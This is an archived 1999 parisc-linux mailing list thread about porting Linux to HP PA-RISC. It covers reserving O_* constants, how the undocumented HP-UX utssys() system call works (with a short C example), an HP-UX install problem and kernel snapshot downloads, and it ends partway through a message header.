X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:39 +0000 (UTC)
Cc: Hannu Martikka <martikka@stybba.ntc.nokia.com>,
        parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@thepuffingroup.com>
Original-X-From: prumpf@suse.de  Thu Aug  5 07:50:01 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id HAA14376
	for <parisc-linux@puffin.external.hp.com>; Thu, 5 Aug 1999 07:49:57 -0600
Original-Received: (qmail 29269 invoked by uid 15267); 5 Aug 1999 13:51:05 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29258 invoked from network); 5 Aug 1999 13:51:04 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 5 Aug 1999 13:51:04 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP
	id 4548C32CF6; Thu, 05 Aug 1999 15:48:27 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP
	id 2623867AE; Thu,  5 Aug 1999 15:48:27 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 0)
	id 829E17F8B; Thu,  5 Aug 1999 15:48:55 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
In-Reply-To: <37A99641.EDD7A44@thepuffingroup.com>; from Alex deVries on Thu, Aug 05, 1999 at 09:48:49AM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:9788

> I've talked to Linus about merging the changes into his mainstream
> kernel tree, and he's agreed, but only once our kernel actually does
> something.  I agree with this.

we do "something" right now.  I think we should wait with the merge until
we are really willing to start mainstream testing of the kernel, with a
more-or-less running userspace and all.

> It's very difficult to suggest a timeline to a project that's done only
> on volunteer time, so I don't think anyone's ready to commit to a

That is not exactly true.  My time is paid for by SuSE.

	Philipp Rumpf


From - Thu Nov 08 21:15:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] reserving constants
Date: Fri, 6 Aug 1999 00:48:27 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <19990806004827.U11586@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619719 13186 80.91.229.3 (22 Nov 2014 01:28:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:39 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: larry_dwyer@hp.com
Original-X-From: Matthew.Wilcox@genedata.com  Thu Aug  5 16:47:23 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA15074
	for <parisc-linux@puffin.external.hp.com>; Thu, 5 Aug 1999 16:47:23 -0600
Original-Received: (qmail 16675 invoked by uid 15267); 5 Aug 1999 22:48:32 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16667 invoked from network); 5 Aug 1999 22:48:32 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 5 Aug 1999 22:48:32 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id AAA16238;
	Fri, 6 Aug 1999 00:48:30 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id AAA589787;
	Fri, 6 Aug 1999 00:48:29 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m11CWJI-0002LTC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for larry_dwyer@hp.com; Fri, 6 Aug 1999 00:48:28 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
Xref: news.gmane.org gmane.linux.ports.parisc:9789


I have some more constants which need reserving.  These are in the O_*
numberspace:

#define FASYNC          00020000 /* fcntl, for BSD compatibility */
#define O_DIRECT        00040000 /* direct disk access hint - currently ignored */
#define O_DIRECTORY     00010000 /* must be a directory */
#define O_NOFOLLOW      00000200 /* don't follow links */

Linux doesn't distinguish between O_NONBLOCK and O_NDELAY so I also
defined:

#define O_NONBLOCK      00200004 /* HPUX has separate NDELAY & NONBLOCK */
#define O_NDELAY        O_NONBLOCK

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] utssys?
Date: Sat, 7 Aug 1999 15:31:54 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <19990807153154.C11586@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619720 13188 80.91.229.3 (22 Nov 2014 01:28:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:40 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Matthew.Wilcox@genedata.com  Sat Aug  7 07:30:49 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id HAA20057
	for <parisc-linux@puffin.external.hp.com>; Sat, 7 Aug 1999 07:30:48 -0600
Original-Received: (qmail 12608 invoked by uid 15267); 7 Aug 1999 13:32:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12600 invoked from network); 7 Aug 1999 13:31:59 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 7 Aug 1999 13:31:59 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id PAA21573
	for <parisc-linux@thepuffingroup.com>; Sat, 7 Aug 1999 15:31:55 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id PAA792558
	for <parisc-linux@thepuffingroup.com>; Sat, 7 Aug 1999 15:31:54 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m11D6Zm-0002M2C@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for parisc-linux@thepuffingroup.com; Sat, 7 Aug 1999 15:31:54 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
Xref: news.gmane.org gmane.linux.ports.parisc:9790


Can anyone tell me what the utssys() system call does?  There's no manual
page for it.  From tusc, I can see:

utssys("HP-UX", 0, 0) ............................................ = 0

so all I need do to get it to work on Linux is return 0, but I'd like
to understand a little more.

I also can't find a manual page for sigsetreturn() which I probably need
to understand more deeply than utssys :-)

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] utssys?
Date: Sat, 7 Aug 1999 11:45:06 -0400 (EDT)
Lines: 14
Approved: news@gmane.org
Message-ID: <199908071545.LAA27090@hiauly1.hia.nrc.ca>
References: <19990807153154.C11586@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619720 13193 80.91.229.3 (22 Nov 2014 01:28:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:40 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew.Wilcox@genedata.com (Matthew Wilcox)
Original-X-From: dave@hiauly1.hia.nrc.ca  Sat Aug  7 09:44:12 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA20427
	for <parisc-linux@puffin.external.hp.com>; Sat, 7 Aug 1999 09:44:11 -0600
Original-Received: (qmail 3366 invoked by uid 15267); 7 Aug 1999 15:45:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3358 invoked from network); 7 Aug 1999 15:45:20 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 7 Aug 1999 15:45:20 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id LAA27090;
	Sat, 7 Aug 1999 11:45:06 -0400 (EDT)
In-Reply-To: <19990807153154.C11586@mencheca.ch.genedata.com> from "Matthew Wilcox" at Aug 7, 99 03:31:54 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9791

> 
> 
> Can anyone tell me what the utssys() system call does?  There's no manual
> page for it.  From tusc, I can see:
> 
> utssys("HP-UX", 0, 0) ............................................ = 0

Just guessing but it might be for uname and setuname.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:15:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] utssys?
Date: Sat, 7 Aug 1999 18:38:39 -0700 (PDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <199908080138.SAA30921@bart.allegro.com>
References: <19990807153154.C11586@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619720 13198 80.91.229.3 (22 Nov 2014 01:28:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:40 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew.Wilcox@genedata.com (Matthew Wilcox)
Original-X-From: sieler@bart.allegro.com  Sat Aug  7 19:39:01 1999
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id TAA21589
	for <parisc-linux@puffin.external.hp.com>; Sat, 7 Aug 1999 19:39:01 -0600
Original-Received: (qmail 6660 invoked by uid 15267); 8 Aug 1999 01:39:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6652 invoked from network); 8 Aug 1999 01:39:38 -0000
Original-Received: from unknown (HELO bart.allegro.com) (198.102.6.10)
  by mailserv2.iuinc.com with SMTP; 8 Aug 1999 01:39:38 -0000
Original-Received: (from sieler@localhost)
	by bart.allegro.com (8.9.1/8.9.1) id SAA30921;
	Sat, 7 Aug 1999 18:38:40 -0700
In-Reply-To: <19990807153154.C11586@mencheca.ch.genedata.com> from "Matthew Wilcox" at Aug 7, 99 03:31:54 pm
X-Mailer: ELM [version 2.4 PL24]
Xref: news.gmane.org gmane.linux.ports.parisc:9792

Re:

> Can anyone tell me what the utssys() system call does?  There's no manual
> page for it.  From tusc, I can see:
> 
> utssys("HP-UX", 0, 0) ............................................ = 0

>From decompiling, it doesn't appear to do much.  The kernel utssys
routine (called to handle system call (SYS_utssys, #57)), is short,
with one external call ... to a short routine that has no procedure calls
at all.  That's where I stopped looking.

-- 
Stan Sieler                                          sieler@allegro.com
                                         http://www.allegro.com/sieler/


From - Thu Nov 08 21:15:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] utssys?
Date: Sat, 7 Aug 1999 23:34:25 -0400 (EDT)
Lines: 50
Approved: news@gmane.org
Message-ID: <199908080334.XAA04974@hiauly1.hia.nrc.ca>
References: <199908080138.SAA30921@bart.allegro.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619721 13199 80.91.229.3 (22 Nov 2014 01:28:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:41 +0000 (UTC)
Cc: Matthew.Wilcox@genedata.com, parisc-linux@thepuffingroup.com
To: sieler@allegro.com (Stan Sieler)
Original-X-From: dave@hiauly1.hia.nrc.ca  Sat Aug  7 21:34:04 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id VAA21862
	for <parisc-linux@puffin.external.hp.com>; Sat, 7 Aug 1999 21:34:04 -0600
Original-Received: (qmail 24238 invoked by uid 15267); 8 Aug 1999 03:34:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24228 invoked from network); 8 Aug 1999 03:34:47 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 8 Aug 1999 03:34:47 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id XAA04974;
	Sat, 7 Aug 1999 23:34:26 -0400 (EDT)
In-Reply-To: <199908080138.SAA30921@bart.allegro.com> from "Stan Sieler" at Aug 7, 99 06:38:39 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9793

> 
> Re:
> 
> > Can anyone tell me what the utssys() system call does?  There's no manual
> > page for it.  From tusc, I can see:
> > 
> > utssys("HP-UX", 0, 0) ............................................ = 0
> 
> >From decompiling, it doesn't appear to do much.  The kernel utssys
> routine (called to handle system call (SYS_utssys, #57)), is short,
> with one external call ... to a short routine that has no procedure calls
> at all.  That's where I stopped looking.

>From the 9.1 kernel lib:

Symbols from libhp-ux.a[utssys.o]:

Name                    Value   Scope  Type    Subspace

$str_lit_sym$       |1073741824|static|data   |$DATA$
$THIS_DATA$         |1073741824|static|data   |$DATA$
$THIS_SHORTDATA$    |1073741848|static|data   |$SHORTDATA$
$THIS_BSS$          |1073741848|static|data   |$BSS$
$THIS_SHORTBSS$     |1073741848|static|data   |$SHORTBSS$
$THIS_STATICDATA$   |1073741848|static|data   |$STATICDATA$
$THIS_SHORTSTATICDATA$|1073741848|static|data   |$SHORTSTATICDATA$
$THIS_LIT$          |      1192|static|code   |$LIT$
$THIS_LITSTATIC$    |      1192|static|code   |$LITSTATIC$
$global$            |          |undef |data   |
int_owner           |         4|undef |common |$SHORTBSS$
uptr                |          |undef |data   |
utsname             |          |undef |data   |
brmtdev             |          |undef |data   |
proto_stats         |       124|undef |common |$BSS$
hostname            |          |undef |data   |
utssys              |         0|extern|entry  |$CODE$
getcputype          |          |undef |code   |
copyout             |          |undef |code   |
dux_ustat           |          |undef |code   |
getmp               |          |undef |code   |
bcopy               |          |undef |code   |
suser               |          |undef |code   |
fubyte              |          |undef |code   |

The call is used by a number of routines in libc.

-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:15:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian S. Martin" <martin@sinfonia.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Installing HP-UX 10.2
Date: Sun, 8 Aug 1999 16:39:00 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <001801bee1e6$6dd86b20$0b01a8c0@lyrecrest.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619721 13201 80.91.229.3 (22 Nov 2014 01:28:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:41 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: martin@sinfonia.org  Sun Aug  8 15:38:27 1999
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA24233
	for <parisc-linux@puffin.external.hp.com>; Sun, 8 Aug 1999 15:38:27 -0600
Original-Received: (qmail 6014 invoked by uid 15267); 8 Aug 1999 21:38:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6007 invoked from network); 8 Aug 1999 21:38:58 -0000
Original-Received: from corianton.lightrealm.com (HELO sinfonia.org) (209.95.107.4)
  by mailserv2.iuinc.com with SMTP; 8 Aug 1999 21:38:58 -0000
Original-Received: from adf (sinfonia.maverick.net [208.15.174.114])
	by sinfonia.org (8.8.7/8.8.5) with SMTP id QAA27589
	for <parisc-linux@thepuffingroup.com>; Sun, 8 Aug 1999 16:42:03 -0500 (CDT)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Importance: Normal
Xref: news.gmane.org gmane.linux.ports.parisc:9794

I have an HP 712/60, and want to get HP-UX 10.2 installed (so that I can get
involved with the parisc-linux stuff).  However, when I try to install it, I
get the following error:

	WARNING:  <filename> utime failed: invalid argument (22)

I get about 20 of these, then the install fails.

The date/time on the workstation are wrong, but I can't figure out how to
fix them.

Any help would be appreciated!

Brian S. Martin
Director of Information Systems
Phi Mu Alpha Sinfonia
http://www.sinfonia.org/


From - Thu Nov 08 21:15:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Gyula Matics <mgyula@pi.satimex.tvnet.hu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] utssys?
Date: Mon, 9 Aug 1999 01:18:23 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <19990809011823.A2864@pi.satimex.tvnet.hu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619721 13204 80.91.229.3 (22 Nov 2014 01:28:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:41 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: mgyula@pi.satimex.tvnet.hu  Sun Aug  8 17:17:37 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA24814
	for <parisc-linux@puffin.external.hp.com>; Sun, 8 Aug 1999 17:17:37 -0600
Original-Received: (qmail 24984 invoked by uid 15267); 8 Aug 1999 23:18:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24976 invoked from network); 8 Aug 1999 23:18:41 -0000
Original-Received: from pi.satimex.tvnet.hu (195.38.97.160)
  by mailserv2.iuinc.com with SMTP; 8 Aug 1999 23:18:41 -0000
Original-Received: from mgyula@localhost by pi.satimex.tvnet.hu id <17846-238>; Mon, 9 Aug 1999 01:18:23 +0200
Original-Sender: mgyula@pi.satimex.tvnet.hu
X-Mailer: Mutt 0.95.6i
Xref: news.gmane.org gmane.linux.ports.parisc:9795

> Can anyone tell me what the utssys() system call does? There's no manual 
> page for it. From tusc, I can see: 
> 
> utssys("HP-UX", 0, 0) ............................................ = 0 
> 
> so all I need do to get it to work on Linux is return 0, but I'd like 
> to understand a little more. 

On Solaris it's 3 syscalls, and you have some documentation in sys/syscall.h
and sys/utssys.h. One of them is used by fuser.
Maybe you can find some info in the hpux headers?
(Can't check, no access for hpux right now)

int utssys(char *path, int flags, int type, char *obuf)

#define SYS_utssys      57
        /*
         *subcodes (third argument):
         *      uname(obuf)  (obsolete)   :: syscall(57, obuf, ign, 0)
         *                                      subcode 1 unused
         *      ustat(dev, obuf)          :: syscall(57, obuf, dev, 2)
         *      fusers(path, flags, obuf) :: syscall(57, path, flags, 3, obuf)
         *      see <sys/utssys.h>
         */

Gyula


From - Thu Nov 08 21:15:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ingo Matthaes <imatthae@grcbd508.grc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Images
Date: Mon, 9 Aug 1999 10:23:32 +0200
Lines: 14
Approved: news@gmane.org
Message-ID: <19990809102332.A11393@grcbd508.grc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619721 13212 80.91.229.3 (22 Nov 2014 01:28:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:41 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: imatthae@grcbd508.grc.hp.com  Mon Aug  9 02:22:22 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id CAA25477
	for <parisc-linux@puffin.external.hp.com>; Mon, 9 Aug 1999 02:22:22 -0600
Original-Received: (qmail 28544 invoked by uid 15267); 9 Aug 1999 08:23:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28536 invoked from network); 9 Aug 1999 08:23:36 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 9 Aug 1999 08:23:36 -0000
Original-Received: from grcbd508.grc.hp.com (root@grcbd508.grc.hp.com [15.139.203.207])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id EAA22168
	for <parisc-linux@thepuffingroup.com>; Mon, 9 Aug 1999 04:23:09 -0400 (EDT)
Original-Received: (from imatthae@localhost)
	by grcbd508.grc.hp.com (8.9.3/8.9.3) id KAA11651
	for parisc-linux@thepuffingroup.com; Mon, 9 Aug 1999 10:23:32 +0200
Mail-Followup-To: parisc-linux@thepuffingroup.com
X-Mailer: Mutt 0.95.4i
Xref: news.gmane.org gmane.linux.ports.parisc:9796

Hi 

for all interested testers: I'll put daily snapshot kernelimages
on ftp.dlug.de/pub/parisc-linux.
This is the Duesseldorfer Linux User Group ftp Server. 
Anonymous ftp is permitted.

  Ingo

-- 
Ingo Matthaes
HP-UX Net und Linux Support
HP Support Center Ratingen


From - Thu Nov 08 21:15:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kevin Vajk <kvajk@ricochet.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] utssys?
Date: Tue, 10 Aug 1999 14:58:55 -0700 (PDT)
Lines: 52
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9908101340240.979-100000@sophia.localdomain>
References: <19990807153154.C11586@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619722 13217 80.91.229.3 (22 Nov 2014 01:28:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:42 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Original-X-From: kvajk@ricochet.net  Tue Aug 10 16:00:09 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA31735
	for <parisc-linux@puffin.external.hp.com>; Tue, 10 Aug 1999 16:00:08 -0600
Original-Received: (qmail 31213 invoked by uid 15267); 10 Aug 1999 22:01:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31206 invoked from network); 10 Aug 1999 22:01:18 -0000
Original-Received: from rgate1.ricochet.net (HELO rgate.ricochet.net) (204.179.143.6)
  by mailserv2.iuinc.com with SMTP; 10 Aug 1999 22:01:18 -0000
Original-Received: from sophia.localdomain (mg131-033.ricochet.net [204.179.131.33])
	by rgate.ricochet.net (8.9.3/8.9.3) with ESMTP id RAA02949;
	Tue, 10 Aug 1999 17:01:07 -0500 (CDT)
Original-Received: from localhost (kvajk@localhost)
	by sophia.localdomain (8.9.3/8.9.3) with ESMTP id OAA01084;
	Tue, 10 Aug 1999 14:58:55 -0700
In-Reply-To: <19990807153154.C11586@mencheca.ch.genedata.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9797


On Sat, 7 Aug 1999, Matthew Wilcox wrote:

> Can anyone tell me what the utssys() system call does?  There's no manual
> page for it.

It takes 3 arguments; a pointer, and two ints.

The second int is the request type.  If an unknown request type is
passed in, it returns EFAULT.
If the request does something like sets the hostname, the first int
passed in is the number of bytes in the hostname.
If the request does something like gets the hostname, the first int
passed in is the size of the character buffer for it to put the answer in.
Otherwise it's ignored.

type=0 gets the utsname (see sys/utsname.h).  first int is ignored.
type=1 is obsolete; it returns EFAULT
I don't know what type=2 does.
type=3 sets utsname.nodename, if you're root
type=4 sets the hostname, if you're root
type=5 gets the hostname
type=6 sets utsname.sysname, if you're root
type=7 is undocumented; it's only used during OS updates.  Just return EFAULT.


Here's an example of using utssys() to get the system's hostname:

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <syscall.h>
int main(argc,argv)
int argc; char *argv[];
{
    char buf[2048];
    memset(buf, 0, sizeof(buf));
    /*  utssys(buf, sizeof(buf), 5);  */
    if( syscall( SYS_UTSSYS, buf, sizeof(buf)-1, 5 ) == -1 ) {
        perror("utssys");
        exit(1);
    }
    printf("Hostname = \"%s\"\n", buf);
    exit(0);
}

- Kevin Vajk
  <kvajk@cup.hp.com>




From - Thu Nov 08 21:15:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kevin Vajk <kvajk@ricochet.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] utssys?
Date: Tue, 10 Aug 1999 15:09:01 -0700 (PDT)
Lines: 14
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9908101505340.979-100000@sophia.localdomain>
References: <Pine.LNX.4.10.9908101340240.979-100000@sophia.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619722 13222 80.91.229.3 (22 Nov 2014 01:28:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:42 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Original-X-From: kvajk@ricochet.net  Tue Aug 10 16:10:05 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA32147
	for <parisc-linux@puffin.external.hp.com>; Tue, 10 Aug 1999 16:10:05 -0600
Original-Received: (qmail 792 invoked by uid 15267); 10 Aug 1999 22:11:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 785 invoked from network); 10 Aug 1999 22:11:22 -0000
Original-Received: from rgate1.ricochet.net (HELO rgate.ricochet.net) (204.179.143.6)
  by mailserv2.iuinc.com with SMTP; 10 Aug 1999 22:11:22 -0000
Original-Received: from sophia.localdomain (mg131-033.ricochet.net [204.179.131.33])
	by rgate.ricochet.net (8.9.3/8.9.3) with ESMTP id RAA04435;
	Tue, 10 Aug 1999 17:11:10 -0500 (CDT)
Original-Received: from localhost (kvajk@localhost)
